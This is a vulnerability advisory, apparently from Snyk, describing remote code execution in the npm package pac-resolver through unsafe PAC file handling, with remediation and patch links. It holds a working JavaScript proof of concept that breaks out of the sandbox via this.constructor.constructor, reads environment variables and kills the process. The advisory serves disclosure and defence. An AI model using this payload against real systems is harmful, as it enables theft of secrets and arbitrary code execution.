SNYK-JS-PACRESOLVER-1564857
## Overview Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling. In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values. **NOTE:** The fix for this vulnerability is applied in the `node-degenerator` library, a dependency is written by the same maintainer. ### PoC ```js const pac = require('pac-resolver'); // Should keep running forever (if not vulnerable): setInterval(() => { console.log("Still running"); }, 1000); // Parsing a malicious PAC file unexpectedly executes unsandboxed code: pac(` // Real PAC config: function FindProxyForURL(url, host) { return "DIRECT"; } // But also run arbitrary code: var f = this.constructor.constructor(\` // Running outside the sandbox: console.log('Read env vars:', process.env); console.log('!!! PAC file is running arbitrary code !!!'); console.log('Can read & could exfiltrate env vars ^'); console.log('Can kill parsing process, like so:'); process.exit(100); // Kill the vulnerable process // etc etc \`); f(); ``` ## Remediation Upgrade `pac-resolver` to version 5.0.0 or higher. ## References - [GitHub Commit #1](https://github.com/TooTallNate/node-degenerator/commit/ccc3445354135398b6eb1a04c7d27c13b833f2d5) - [GitHub Commit #2](https://github.com/TooTallNate/node-degenerator/commit/9d25bb67d957bc2e5425fea7bf7a58b3fc64ff9e) - [Github Release](https://github.com/TooTallNate/node-pac-resolver/releases/tag/5.0.0) - [Researcher Blog](https://httptoolkit.tech/blog/npm-pac-proxy-agent-vulnerability/)
Risk Scores
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| 0 |
Timeline
- May 30, 2021 CVE Updated
- Aug 22, 2021 CVE Published
References
- https://security.snyk.io/vuln/SNYK-JS-PACRESOLVER-1564857 advisory
- https://learn.snyk.io/lesson/malicious-code-injection/ technical
- https://github.com/TooTallNate/node-degenerator/commit/ccc3445354135398b6eb1a04c7d27c13b833f2d5 patch
- https://github.com/TooTallNate/node-degenerator/commit/9d25bb67d957bc2e5425fea7bf7a58b3fc64ff9e patch
- https://github.com/TooTallNate/node-pac-resolver/releases/tag/5.0.0 vendor
- https://httptoolkit.tech/blog/npm-pac-proxy-agent-vulnerability/ technical